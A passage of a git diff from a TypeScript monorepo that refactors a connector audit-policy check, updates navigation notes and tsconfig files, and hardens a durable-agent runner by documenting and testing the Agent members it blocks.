PINNED_PRESET_MEMBER_SET, +) as (keyof ConnectorPolicies)[]; function assertUnchangedSurface( connectorId: string, @@ -373,7 +380,6 @@ export function assertSingleTenantConnectorPolicies( }; } - const currentAudit = policies.audit; const baseline = metadata.snapshot.policies; for (const member of PINNED_PRESET_MEMBERS) { assertUnchangedSurface( @@ -383,6 +389,10 @@ export function assertSingleTenantConnectorPolicies( baseline[member], ); } + // The loop read `policies.audit` once and proved it identical to the + // baseline's, so the frozen snapshot carries the value the `.record` check + // needs — a second read of an accessor-backed `policies` would not. + const currentAudit = baseline.audit; if ( currentAudit !== undefined && currentAudit.record !== metadata.snapshot.auditMember diff --git a/packages/breakwater/src/policy-engine/CLAUDE.md b/packages/breakwater/src/policy-engine/CLAUDE.md index 44bbbb4e..62ba1fa8 100644 --- a/packages/breakwater/src/policy-engine/CLAUDE.md +++ b/packages/breakwater/src/policy-engine/CLAUDE.md @@ -2,6 +2,7 @@ - `index.ts`: `PolicyEngine`, stream channels, hold-back, and basic policies - `content-inspection.ts`: PII, secret, entropy, and classifier policies +- `evaluator-contract.ts`: phase, channel, context, and evaluator declarations shared by the evaluator modules - `tool-policy.ts`: egress, approval, workflow, tenant, and background evaluators - matching `*.test.ts` files: processor and evaluator coverage diff --git a/packages/breakwater/src/policy-engine/evaluator-contract.ts b/packages/breakwater/src/policy-engine/evaluator-contract.ts index e3a561f0..40879e04 100644 --- a/packages/breakwater/src/policy-engine/evaluator-contract.ts +++ b/packages/breakwater/src/policy-engine/evaluator-contract.ts @@ -1,9 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 -// Evaluator contract — the phase, channel, context and evaluator shapes a -// policy is written against. +// Evaluator contract — the declarations an evaluator module needs without +// reaching the barrel that imports them back: the phase, channel, context and +// evaluator shapes that cross that edge. // // A type-only leaf, so content-inspection.ts and any other evaluator module -// take the contract without importing the barrel that imports them back. +// take the contract without importing the barrel. That need is the criterion +// for what moves here; a declaration the barrel alone consumes stays in the +// barrel. import type { MastraDBMessage } from '@mastra/core/agent/message-list'; import type { RequestContext } from '@mastra/core/request-context'; diff --git a/packages/breakwater/src/rbac/CLAUDE.md b/packages/breakwater/src/rbac/CLAUDE.md index a8ee0ac8..18819381 100644 --- a/packages/breakwater/src/rbac/CLAUDE.md +++ b/packages/breakwater/src/rbac/CLAUDE.md @@ -1,6 +1,7 @@ # RBAC navigation - `index.ts`: roles, actor request-context lookup, and `RBACMiddleware` +- `actor.ts`: the actor and role declarations RBAC authorizes and audit attributes - `principal.ts`: principal kinds and the shared kind-allowlist validator - `authorize.ts`: the one gate both the processor and direct calls run through - `rbac.test.ts`: authorization and audit coverage diff --git a/packages/breakwater/tsconfig.json b/packages/breakwater/tsconfig.json index b96c2e6f..3383ef93 100644 --- a/packages/breakwater/tsconfig.json +++ b/packages/breakwater/tsconfig.json @@ -5,5 +5,5 @@ "rootDir": "./src" }, "include": ["src"], - "exclude": ["src/**/*.test.ts"] + "exclude": ["src/**/*.test.ts", "src/**/*.fixtures.ts"] } diff --git a/packages/breakwater/tsconfig.test.json b/packages/breakwater/tsconfig.test.json index d2a54c8c..97ee459e 100644 --- a/packages/breakwater/tsconfig.test.json +++ b/packages/breakwater/tsconfig.test.json @@ -2,11 +2,15 @@ "extends": "./tsconfig.json", "compilerOptions": { "noEmit": true, + // tsc enforces rootDir even under noEmit, so widen it to the repo root to + // admit vitest.config.ts, which sits beside this file rather than under + // src, into this (emit-free) program. + "rootDir": "../..", // Tests run under Node via vitest; vitest 4 no longer leaks timer globals // through its own types, so the test program needs Node's. The build // tsconfig deliberately stays types-free — the library is runtime-agnostic. "types": ["node"] }, - "include": ["src"], + "include": ["src", "vitest.config.ts"], "exclude": [] } diff --git a/packages/flowsafe/deploy/worker.e2e.test.ts b/packages/flowsafe/deploy/worker.e2e.test.ts index bca2893f..ffd832ba 100644 --- a/packages/flowsafe/deploy/worker.e2e.test.ts +++ b/packages/flowsafe/deploy/worker.e2e.test.ts @@ -909,11 +909,10 @@ describe('deploy worker alarm-owned maintenance duties', () => { const surfaces = errorSpy.mock.calls .map(([line]) => String(line)) .filter((line) => line.includes('maintenance-error')); - // Every surface assertion in this describe names the cause its case - // injected, not just the surface: a fixture-shaped failure — a context with - // no cursor callback, a table the fixture never created — reaches the same - // surface, and a bare surface check passes while the isolation under test - // was never exercised. + // The assertion below names the cause this case injected, not just the + // surface: a fixture-shaped failure — a context with no cursor callback, a + // table the fixture never created — reaches the same surface, and a bare + // surface check passes while the isolation under test was never exercised. expect( surfaces.some( (line) => @@ -1066,7 +1065,7 @@ describe('deploy worker alarm-owned maintenance duties', () => { it('gives each maintenance invocation its own retention cursor', async () => { // #given — a stale terminal snapshot for the purge to reclaim, and two - // contexts built the way every call site in this file builds one + // independent contexts from retentionContext() const { env, sqlite } = makeEnv(); createSnapshotTable(sqlite); seedRun(sqlite, { @@ -1083,9 +1082,7 @@ describe('deploy worker alarm-owned maintenance duties', () => { await maintenanceWorker.runMaintenanceDuty('purge', env, driven); // #then — the purge advanced a cursor, it is readable on the context that - // duty was given, and it reached no other. A module-level context shared by - // every call site here would hand the next invocation this one's cursor, - // and every other case in this file would still pass. + // duty was given, and it reached no other. expect(remainingRunIds(sqlite)).toEqual([]); expect(driven.retentionCursor).toMatchObject({ version: 1 }); expect(sibling.retentionCursor).toBeUndefined(); diff --git a/packages/flowsafe/deploy/worker.ts b/packages/flowsafe/deploy/worker.ts index b1b44390..60129315 100644 --- a/packages/flowsafe/deploy/worker.ts +++ b/packages/flowsafe/deploy/worker.ts @@ -195,6 +195,12 @@ function defineWorkflows(env: Env): RunnerRuntime { permissions: { sideEffect: 'write', requiresApproval: true, + // A connector a host copies into a deployment states the posture it runs + // under, and this template is that copy. A fixture whose subject is + // something else omits the field and takes connectorEgressPosture's + // 'declaration-only' default instead. The line is what the connector + // stands for, not production versus test — examples/gtm-outbound.e2e.test.ts + // declares it from a test file for the same reason. egressEnforcement: 'enforced', }, execute: async () => ({ published: true }), diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index 205370ab..d2388783 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -471,7 +471,7 @@ register('./graph-loader.mjs', import.meta.url); 'run-provenance', ]) { const declaration = readFileSync( - join(packageDirectory, 'dist', 'do-runner', `${leaf}.d.ts`), + join(packageDirectory, 'dist', `do-runner/${leaf}.d.ts`), 'utf8', ); assert.doesNotMatch( @@ -1169,28 +1169,54 @@ void [legacyContext, epochContext, legacyScope, epochScope, legacyInput, epochIn // declarations it resolves, so the deadline entries' declaration axis is // pinned here the way the loader probe pins their runtime axis: each entry // declares one module, and the module they share reaches the runner through - // the single type-only import its exported projections need. - const packedDeclarationSpecifiers = (fileName) => { + // the single type-only import its exported projections need. The argument is + // a `dist`-relative path, so an entry outside `do-runner` takes the same pin. + // Each pattern is one line form a declaration states an edge in — a `from` + // clause on an import or a re-export, a side-effect import, a dynamic + // import, a module augmentation, a triple-slash reference. A form missing + // from this list is an edge the pins below cannot see. + const declarationEdgePatterns = [ + /\bfrom\s*['"]([^'"]+)['"]\s*;?\s*$/, + /^\s*import\s*['"]([^'"]+)['"]\s*;?\s*$/, + /\bimport\(\s*['"]([^'"]+)['"]\s*\)/, + /^\s*declare\s+module\s+['"]([^'"]+)['"]/, + /^\s*\/\/\/\s* { const declaration = readFileSync( - join(packageDirectory, 'dist', 'do-runner', fileName), + join(packageDirectory, 'dist', distPath), 'utf8', ); return [ ...new Set( - [...declaration.matchAll(/(?:from|import\()\s*['"]([^'"]+)['"]/g)].map( - (match) => match[1], - ), + declaration + .split('\n') + .flatMap((line) => + declarationEdgePatterns + .map((pattern) => pattern.exec(line)?.[1]) + .filter((specifier) => specifier !== undefined), + ), ), ].sort(); }; - assert.deepEqual(packedDeclarationSpecifiers('constants.d.ts'), [ + assert.deepEqual(packedDeclarationSpecifiers('do-runner/constants.d.ts'), [ './suspension-deadline.js', ]); - assert.deepEqual(packedDeclarationSpecifiers('testing.d.ts'), [ + assert.deepEqual(packedDeclarationSpecifiers('do-runner/testing.d.ts'), [ './suspension-deadline.js', ]); - assert.deepEqual(packedDeclarationSpecifiers('suspension-deadline.d.ts'), [ - './runtime.js', + assert.deepEqual( + packedDeclarationSpecifiers('do-runner/suspension-deadline.d.ts'), + ['./runtime.js'], + ); + // `./host-kit/module` carries the module-authoring contract on its own + // subpath: breakwater's AuditLogger reaches a module author through this + // declaration, and `host-kit-no-breakwater` keeps it out of host-kit's + // barrel. The pin is what makes that split observable in the packed tarball. + assert.deepEqual(packedDeclarationSpecifiers('host-kit/module.d.ts'), [ + '../do-runner/index.js', + './workflow-meta.js', + '@proofoftech/breakwater', ]); writeFileSync( join(consumer, 'tsconfig.es2022.json'), @@ -1359,7 +1385,7 @@ for (const name of ['claim', 'release', 'settleRun']) { } for (const api of [flowsafe, doRunner, hostKit]) assert.equal('rollbackFencedStart' in api, false); for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner, schedules, signals]) { - for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql', 'AgentRunSelectorMismatchError', 'assertNotificationSourceKeysPatched', 'captureNotificationDeliveryObservation', 'captureNotificationDeliverySelection', 'captureNotificationDeliveryStorage', 'recordNotificationDeliveryFailure']) { + for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority', 'executionFenceAdmissionValues', 'captureExecutionFenceAdmissionSchema', 'executionFenceAdmissionSql', 'AgentRunSelectorMismatchError', 'assertNotificationSourceKeysPatched', 'assertNotificationDeliveryPolicyPatched', 'captureNotificationDeliveryObservation', 'captureNotificationDeliverySelection', 'captureNotificationDeliveryStorage', 'recordNotificationDeliveryFailure']) { assert.equal(name in api, false, name); } } diff --git a/packages/flowsafe/scripts/signals-client-pack-test.mjs b/packages/flowsafe/scripts/signals-client-pack-test.mjs index ca0ebb57..157139d5 100644 --- a/packages/flowsafe/scripts/signals-client-pack-test.mjs +++ b/packages/flowsafe/scripts/signals-client-pack-test.mjs @@ -74,18 +74,46 @@ try { ); run(join(root, 'node_modules/.bin/tsc'), ['-p', 'tsconfig.json'], consumer); - const client = readFileSync( - join(temporary, 'package', 'dist', 'signals', 'client.js'), - 'utf8', - ); + const packedSignalsFile = (fileName) => + readFileSync( + join(temporary, 'package', 'dist', 'signals', fileName), + 'utf8', + ); + // Each pattern is one line form a module names another in: a `from` clause + // on an import or a re-export, a side-effect import, a dynamic import, a + // `require`, a module augmentation, a triple-slash reference. A form missing + // from this list is an edge the two checks below cannot see. + const edgePatterns = [ + /\bfrom\s*['"][^'"]+['"]\s*;?\s*$/, + /^\s*import\s*['"][^'"]+['"]\s*;?\s*$/, + /\bimport\(\s*['"][^'"]+['"]\s*\)/, + /\brequire\(\s*['"][^'"]+['"]\s*\)/, + /^\s*declare\s+module\s+['"][^'"]+['"]/, + /^\s*\/\/\/\s* + source + .split('\n') + .some((line) => edgePatterns.some((pattern) => pattern.test(line))); + + const client = packedSignalsFile('client.js'); if ( - /^import\s/m.test(client) || + namesAnotherModule(client) || /node:|agent-runner|do-runner/.test(client) ) { throw new Error( 'packed signals/client pulled a runtime or Node-only import', ); } + // The declaration axis of the same entry. A browser consumer resolves this + // `.d.ts` and whatever it names, so a type reaching in from the runner or the + // host kit would hand that graph to a consumer who installed the browser + // entry alone. + if (namesAnotherModule(packedSignalsFile('client.d.ts'))) { + throw new Error( + 'packed signals/client declaration named a module outside the browser entry', + ); + } console.log('packed browser signals/client import passed'); } finally { rmSync(temporary, { recursive: true, force: true }); diff --git a/packages/flowsafe/src/CLAUDE.md b/packages/flowsafe/src/CLAUDE.md index 0d9c62f7..fcd763c9 100644 --- a/packages/flowsafe/src/CLAUDE.md +++ b/packages/flowsafe/src/CLAUDE.md @@ -1,10 +1,12 @@ # flowsafe source navigation - `index.ts`: compatibility barrel for approval API, runner, artifacts, and audit export +- `deployment-identity-protocol.ts`: deployment tag, identity header, and execution fence protocol shared with hosts - `approval-api/`: approval lifecycle and deployment store - `do-runner/`: runtime, Durable Objects, identities, storage, retention - `host-kit/`: authenticated host composition and topologies - `approval-ui/`: optional React dashboard +- `agent-host/`: server-only guarded-agent catalog and Durable Object host - `agent-runner/`: runtime-driven durable agents - `signals/`, `goals/`, `schedules/`, `background-tasks/`, `signal-providers/`: opt-in long-running-agent surfaces - `artifacts/`, `audit-export/`: R2 and Queue integrations diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts index 825feae4..3af8d67f 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts @@ -195,16 +195,16 @@ // caveat as getWorkflow() returning a startable object, and reaching it takes a // deliberate private cast, which is a first-party act. // -// Corroboration: breakwater's guarded handle reaches the same verdict on seven -// of the eight members blocked here that live on Agent.prototype — network, -// resumeNetwork, approveNetworkToolCall, declineNetworkToolCall, -// generateLegacy, streamLegacy and sendToolApproval are all -// `intentionallyUnavailable` (packages/breakwater/src/agent/agent.test.ts:824). -// It diverges on listSuspendedRuns (:969), which it files under -// `explicitlyNonExecution` — the same divergence as listActiveRuns (:949), and -// for the same reason: a narrowed HANDLE can only omit, so a data-returning -// member is harmless there, while an INSTANCE Mastra calls in-process must -// throw. +// Corroboration: breakwater's guarded handle reaches the same verdict on the +// network four (network, resumeNetwork, approveNetworkToolCall, +// declineNetworkToolCall), the legacy pair (generateLegacy, streamLegacy) and +// sendToolApproval, which it files `intentionallyUnavailable` +// (packages/breakwater/src/agent/agent.test.ts:824). It diverges on +// listSuspendedRuns (:967), which it files under `explicitlyNonExecution` — +// the same divergence as listActiveRuns (:947), and for the same reason: a +// narrowed HANDLE can only omit, so a data-returning member is harmless there, +// while an INSTANCE Mastra calls in-process must throw. The two members +// blocked below for newer cores diverge the same way; each entry records it. // // Two more Agent-level members are blocked for cores NEWER than the pin. Read // from the @mastra/core 1.67.0 dist, which the mastra-compat canary installs; @@ -216,37 +216,50 @@ // // - listActiveThreadRuns() (:38214) is the discovery ground one scope wider // than listActiveRuns. It takes no arguments and returns `{ runId, -// resourceId, threadId }` for every tracked thread on the pubsub instance -// (storage-MbGlKLkB.js:1011-1023), and that state is keyed by pubsub -// instance rather than by agent (`#statesByPubSub`, :150, read through -// #getState :294), so it narrows by neither principal nor agent where the -// two listings above at least narrow by agentId. The in-process sibling -// getActiveThreadRunId() stays non-execution because it makes the caller -// name the (resourceId, threadId) pair: it confirms where this enumerates. -// Breakwater files it `explicitlyNonExecution` (agent.test.ts:950) — the -// same handle-versus-instance divergence recorded just above, and recorded -// here for the same reason. Cost, stated rather than left to be -// rediscovered: core's AgentController aggregates this member across its -// backing agents (agent-controller-CKgKFyMR.js:5722-5725), so that -// aggregation now throws. It is already unusable over this class — the same -// controller calls the blocked sendToolApproval() at :4089 and :4118. +// resourceId, threadId }` for every thread on the pubsub instance with a +// run in flight (storage-MbGlKLkB.js:1011-1023), and that state is keyed +// by pubsub instance rather than by agent (`#statesByPubSub`, :150, read +// through #getState :294), so it narrows by neither principal nor agent +// where the two listings above at least narrow by agentId. The in-process +// sibling getActiveThreadRunId() stays non-execution because it makes the +// caller name the (resourceId, threadId) pair: it confirms where this +// enumerates. Breakwater files it `explicitlyNonExecution` +// (agent.test.ts:948) for the reason it files listActiveRuns there: a +// narrowed HANDLE can only omit, so a data-returning member is harmless +// there, while an INSTANCE Mastra calls in-process must throw. Cost, stated +// rather than left to be rediscovered: core's AgentController aggregates +// this member across its backing agents +// (agent-controller-CKgKFyMR.js:5722-5725), so that aggregation now throws. +// It is already unusable over this class — the same controller calls the +// blocked sendToolApproval() at :4089 and :4118. // - __setThreadRuntimeAgent() (:33609) installs another agent as the target // every thread-runtime path resolves through #getThreadRuntimeAgent() // (:33612, `this.#threadRuntimeAgent ?? this`): subscribeToThread // (:38197), claimThreadOwnership (:38203), sendMessage (:38331), -// queueMessage (:38337) and sendStateSignal (:38355). That is the fourth -// ground by installation rather than by call: the containment those -// inherited members rely on IS virtual dispatch on `this`, so one call -// moves all five onto an agent carrying none of these overrides — no -// caller-minted runId assertion, no executeWorkflow, no #startRequesters -// backstop. It is public in the type surface (agent.d.ts:229 declares it -// with no modifier), so unlike getLegacyHandler it takes no private cast. +// queueMessage (:38337), sendStateSignal (:38355), sendNotificationSignal +// (through #sendNotificationSignalBatch, :38442 and :38510) and sendSignal +// (:38562). That is the fourth ground by installation rather than by call: +// the containment those inherited members rely on IS virtual dispatch on +// `this`, so one call moves every run those paths start onto an agent +// carrying none of these overrides — no caller-minted runId assertion, no +// executeWorkflow, no #startRequesters backstop. subscribeToThread drives +// no run of its own; the field moves its replay target all the same. It is +// public in the type surface (agent.d.ts:229 declares it with no modifier), +// so unlike getLegacyHandler it takes no private cast. Breakwater files it +// `explicitlyNonExecution` (agent.test.ts:879) for the reason it files the +// listings there: a narrowed HANDLE can only omit, so a setter is harmless +// there, while an INSTANCE Mastra calls in-process must throw. // // Neither carries the `override` keyword, and that is load-bearing rather than // an oversight: TypeScript rejects `override` on a member the base does not // declare, and 1.53.0 declares neither, so the keyword would fail the pinned // typecheck that gates every merge. Each signature must still satisfy the base -// it acquires on newest; the caveat on each member says how. +// it acquires on newest; the caveat on each member says how. Both re-checks +// come due together, when the declared peer reaches a core that carries either +// member: the VERSION_SKEW expiry assertion in durable-agent-surface.test.ts +// goes red there, because each member's row claims the installed core carries +// it on neither prototype. That message speaks about the row alone; these two +// members' keyword and signature move with it. // // Blocking them keeps the single-resume and no-capability guarantees true by // construction: resumeViaRuntime() is the ONLY way a run resumes. @@ -623,7 +636,7 @@ export const BLOCKED_RUN_ENTRIES = { listSuspendedRuns: "core scopes the suspended-run listing by agentId plus the caller's own optional thread and resource ids, never by per-principal ownership, so it bypasses the host topology's run-ownership checks and returns run, thread and resource ids the caller does not own", listActiveThreadRuns: - 'core scopes the active thread-run listing by nothing at all: it takes no arguments and returns the run, thread and resource ids of every thread tracked on the pubsub instance, which core keys by pubsub instance rather than by agent, so it enumerates ids across every principal AND every agent that shares the instance', + 'core scopes the active thread-run listing by nothing at all: it takes no arguments and returns the run, thread and resource ids of every thread on the pubsub instance with a run in flight, which core keys by pubsub instance rather than by agent, so it enumerates ids across every principal AND every agent that shares the instance', deleteRunSnapshots: 'durable-agent snapshot rows are retained until deployment-scoped retention purge removes them', network: `${NETWORK_FAMILY_REASON}, and it mints an unowned run id when the caller omits one`, @@ -634,7 +647,7 @@ export const BLOCKED_RUN_ENTRIES = { streamLegacy: LEGACY_FAMILY_REASON, sendToolApproval: THREAD_TOOL_APPROVAL_REASON, __setThreadRuntimeAgent: - "it installs the agent every thread-runtime path then drives — subscribeToThread, claimThreadOwnership, sendMessage, queueMessage and sendStateSignal all resolve their target through the field it writes — so one call moves those starts onto an agent that carries none of this class's overrides: no caller-minted run id, no executeWorkflow, and no terminal refusal for a run the host start seam never registered", + "it installs the agent every thread-runtime path resolves its target through — subscribeToThread, claimThreadOwnership, sendMessage, queueMessage, sendStateSignal, sendNotificationSignal and sendSignal all read the field it writes — so one call moves every run those paths start, and subscribeToThread's replay target with them, onto an agent that carries none of this class's overrides: no caller-minted run id, no executeWorkflow, and no terminal refusal for a run the host start seam never registered", } as const; /** @@ -1196,9 +1209,9 @@ export class FlowsafeDurableAgent< /** * Refuse the thread-level run enumerator newer cores add. * `listActiveThreadRuns()` takes no arguments and returns a runId plus the - * resourceId and threadId parsed out of the key for every thread tracked on - * the pubsub instance, and core keys that state by pubsub instance rather - * than by agent — so it is the same discovery ground as + * resourceId and threadId parsed out of the key for every thread on the + * pubsub instance with a run in flight, and core keys that state by pubsub + * instance rather than by agent — so it is the same discovery ground as * {@link FlowsafeDurableAgent.listActiveRuns} with the last scoping gone. * The in-process sibling `getActiveThreadRunId()` stays inherited because it * makes the caller name the (resourceId, threadId) pair it confirms. @@ -1345,12 +1358,14 @@ export class FlowsafeDurableAgent< /** * Refuse the thread-runtime target swap newer cores add. It sets one private * field, and every thread-runtime path — `subscribeToThread`, - * `claimThreadOwnership`, `sendMessage`, `queueMessage`, `sendStateSignal` — - * resolves its target through that field, falling back to `this`. So the - * containment those five inherited members rely on is virtual dispatch on - * `this`, and one call to this setter moves all five onto an agent with none - * of these overrides in the chain. That is the fourth ground reached by - * installing a second execution surface rather than by calling one. + * `claimThreadOwnership`, `sendMessage`, `queueMessage`, `sendStateSignal`, + * `sendNotificationSignal` and `sendSignal` — resolves its target through + * that field, falling back to `this`. So the containment those inherited + * members rely on is virtual dispatch on `this`, and one call to this setter + * moves every run they start, and `subscribeToThread`'s replay target with + * them, onto an agent with none of these overrides in the chain. That is the + * fourth ground reached by installing a second execution surface rather than + * by calling one. * * Signature caveat: the parameter is `unknown` rather than core's * `Agent` because the pinned 1.53.0 declares no such diff --git a/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts b/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts index 911060e1..9a0f0f75 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts @@ -176,7 +176,12 @@ const nonExecution = [ // `aborted || this.#isRunExecuting(runId)` (:6585), a boolean existence // oracle for a run id the caller may not own. Both stay classified on the // Agent level too: they are on Agent.prototype at the pin and shadowed here - // only at 1.67.0. + // only at 1.67.0. Breakwater's narrowed handle omits both + // (agent.test.ts:828-829, in `intentionallyUnavailable`), a divergence + // running the opposite way to the ones durable-agent-runner.ts records, where + // breakwater is the weaker side: a handle can omit a member, while an + // instance Mastra calls in-process can only refuse it, and neither of these + // matches a blocked ground. 'abortRunStream', 'abortThreadStream', 'agent', @@ -243,10 +248,9 @@ const nonExecution = [ 'requestContextSchema', // The abort primitive the two methods above share (:6626), and never blocked; // the inventory asserts that rather than leaving it to this note. core calls - // it from #abortDurableRun (:6601) and from the `abort` closure it returns - // with each durable stream result (:6814, :7095, :7265, :7796), so refusing - // it would reject the abort handle handed to every consumer of a run this - // class itself started. + // it from #abortDurableRun (:6598, calling at :6601) and from the `abort` + // closure it returns with each durable stream result (:6814, :7095, :7265, + // :7796). 'requestRemoteAbort', 'resolveProcessorById', 'runRegistry', @@ -291,6 +295,10 @@ const agentSurface = Object.getOwnPropertyNames(Agent.prototype).filter( * five still have route callers. Any run core mints through them reaches a * terminal output without entering RunnerRuntime; see the runner module comment * for the cleanup mechanism. + * + * For the members that resolve their target through the thread runtime's agent + * field, the containment holds only while `__setThreadRuntimeAgent` is blocked, + * which is what keeps that target this instance. */ const delegatingToGuard = [ // Opts the agent in as a thread's remote wake target: the thread runtime @@ -300,8 +308,6 @@ const delegatingToGuard = [ // override — but the runId assertion is not what contains it, since a // pubsub-supplied id is path-safe like any other; the terminal refusal // `executeWorkflow` raises for a runId with no `#startRequesters` entry is. - // The containment holds only while `__setThreadRuntimeAgent` is blocked, - // which is what makes `owner.agent` this instance. 'claimThreadOwnership', 'queueMessage', 'resumeStreamUntilIdle', @@ -355,10 +361,19 @@ const agentNonExecution = [ 'convertTools', 'deriveSubAgentBackgroundConfig', // Returns the peer advertisements one pubsub instance carries — - // agentId/resourceId/threadId plus optional label, title and metadata - // (storage-MbGlKLkB.js:425-437), and no run ids. Honest caveat: that - // disclosure is empty only while one PubSub instance serves one thread, which - // is a deployment property this inventory cannot assert. + // agentId/resourceId/threadId plus sourceId and optional label, title and + // metadata (storage-MbGlKLkB.js:425-437), and no run ids. sourceId is the + // addressing half: claimThreadOwnership's listener drops an + // idle-signal-enqueued whose `data.targetSourceId` is not its own, so holding + // a peer's sourceId is what lets another process wake that peer's claimed + // thread. What bounds the disclosure is the thread DO, not pubsub identity: + // the thread runtime falls back to a module-global emitter when the agent + // carries none (storage-MbGlKLkB.js:151-152) and flowsafe's own pubsub is + // opt-in (do-runner/pubsub.ts), while host-kit/thread-topology.ts:126 + // addresses the DO by idFromName(threadId), which do-runner/thread-do.ts:8 + // states serializes every send and subscribe for a thread onto one isolate. + // The residual is a host injecting one PubSub across threads through the + // init({ pubsub }) seam (do-runner/init.ts:67). 'discoverThreadPeers', // Field accessor for the durable flag. 'durable', @@ -624,7 +639,10 @@ function testAgent(id = 'writer'): Agent { * longer merely PROBED: the companion control below drives each of them through * a stock DurableAgent on this same spied storage and ASSERTS that the * workflows store was reached, so a core that stops touching storage on one of - * them fails loudly rather than turning its row quietly vacuous. + * them fails loudly rather than turning its row quietly vacuous. The vacuous + * rows take the inverted half of that control, which drives them the same way + * and asserts the store was NOT reached — so each grading below is checked + * rather than claimed, in whichever direction it goes. * * - Non-vacuous, one store method each: `getWorkflowRunById` for recover and * the whole resume family; `listWorkflowRuns` for recoverActiveRuns, @@ -636,7 +654,7 @@ function testAgent(id = 'writer'): Agent { * settles, so at assertion time the base has touched `getStore` >= 1 rather * than the larger figure a fully drained run reaches. Do not pin a number. * - generateLegacy / streamLegacy: VACUOUS by construction, and so listed - * in `vacuousByConstruction`, which is what the control excludes. + * in `vacuousByConstruction`, which is where the control splits. * `testAgent()` uses a v2 model, and the legacy handler rejects a non-v1 * model before touching storage at all, so the base reaches no store * either. Their non-vacuous evidence is the refusal MESSAGE assertion — @@ -649,9 +667,10 @@ function testAgent(id = 'writer'): Agent { * (dist/agent-Dk0N0Nlg.js:33609-33611), and `listActiveThreadRuns` hands * `getPubSub()` (:33560-33562) to the thread-stream runtime, which reads * its state from a WeakMap keyed by that pubsub instance - * (dist/storage-MbGlKLkB.js:150, :294-298) and iterates two in-memory maps - * (:1011-1023). Neither path resolves a store, so there is nothing for the - * control to observe at either core. Their non-vacuous evidence is the + * (dist/storage-MbGlKLkB.js:150, :294-298) and then reads the in-memory maps + * and sets that state holds (:1011-1023). Neither path resolves a store, so + * the base reaches none here either — which is what the inverted control + * asserts on a core that exposes them. Their non-vacuous evidence is the * refusal MESSAGE assertion too — the base returns where the override * throws FlowSafe's tabled reason. * @@ -1241,8 +1260,9 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => { * run) — swallowed, because the claim is only that storage was reached BEFORE * they did. * - * The rows in `vacuousByConstruction` are excluded: their base path reaches - * no store to spy on, for the reasons registeredAgent()'s notes give. + * The rows in `vacuousByConstruction` take the inverted control below: their + * base path reaches no store to spy on, for the reasons registeredAgent()'s + * notes give, so what is worth asserting about them is that absence. */ const vacuousByConstruction: readonly string[] = [ '__setThreadRuntimeAgent', @@ -1251,6 +1271,27 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => { 'streamLegacy', ]; + /** + * A member the INSTALLED core does not expose on the base has no base path to + * observe in either direction, so neither control can bite on it. Require + * that absence to be a RECORDED skew rather than skipping on it: an absence + * no VERSION_SKEW row names means the override refuses a member neither + * supported core has, and belongs nowhere. + */ + const baseCarries = (agent: DurableAgent, method: string): boolean => { + if ( + typeof (agent as unknown as Record)[method] === + 'function' + ) { + return true; + } + expect( + skewNames, + `${method}() is blocked and has a behavioral row, but @mastra/core ${installedCore} does not expose it on the base at all. Either record it in VERSION_SKEW with the level it holds on the other supported core, or drop the override and its row.`, + ).toContain(method); + return false; + }; + for (const { method, invoke } of blockedCalls.filter( (call) => !vacuousByConstruction.includes(call.method), )) { @@ -1259,23 +1300,7 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => { const { agent, getStore } = await registerWithSpies( new DurableAgent({ agent: testAgent() }), ); - - // #given a member the INSTALLED core does not expose has nothing to read - // and nothing to prove, so this row cannot bite here. Require that - // absence to be a RECORDED skew rather than skipping on it: an unlisted - // absence means the override refuses a member neither supported core has, - // and belongs nowhere. Self-expiring, unlike a second exclusion list — - // the row bites again the moment the installed core grows the member. - if ( - typeof (agent as unknown as Record)[method] !== - 'function' - ) { - expect( - skewNames, - `${method}() is blocked and has a behavioral row, but @mastra/core ${installedCore} does not expose it on the base at all. Either record it in VERSION_SKEW with the level it holds on the other supported core, or drop the override and its row.`, - ).toContain(method); - return; - } + if (!baseCarries(agent, method)) return; // #when the base implementation runs await invoke(agent as unknown as FlowsafeDurableAgent).catch( @@ -1290,6 +1315,39 @@ describe('FlowsafeDurableAgent blocked recovery entry points', () => { }); } + /** + * The inverted control, for the rows the loop above excludes. Their grading — + * the base reaches no store either, so the refusal row's "read nothing on the + * way out" proves nothing about storage for them — is a claim about core, so + * drive them the same way and require the store to stay untouched. A core + * that starts reading storage on one of them fails here and the row moves + * into the loop above, which is what makes the exclusion expire on its own + * rather than rest on the notes. + */ + for (const { method, invoke } of blockedCalls.filter((call) => + vacuousByConstruction.includes(call.method), + )) { + it(`${method}() reaches no storage on the unmodified base`, async () => { + // #given the same spied storage and the same stock DurableAgent + const { agent, getStore } = await registerWithSpies( + new DurableAgent({ agent: testAgent() }), + ); + if (!baseCarries(agent, method)) return; + + // #when the base implementation runs + await invoke(agent as unknown as FlowsafeDurableAgent).catch( + () => undefined, + ); + + // #then it never resolved a store, which is the grading that keeps it out + // of the control above + expect( + getStore, + `${method}() now reaches storage on the unmodified base, so its refusal row is no longer vacuous — drop it from vacuousByConstruction, which moves it into the control above, and re-grade it in registeredAgent()'s notes`, + ).not.toHaveBeenCalled(); + }); + } + it('refuses recoverActiveRuns() with an explicit runId too', async () => { // #given the single-target form, which skips listActiveRuns() discovery const { agent, getStore, store } = await registeredAgent(); diff --git a/packages/flowsafe/src/do-runner/execution-fence.test.ts b/packages/flowsafe/src/do-runner/execution-fence.test.ts index 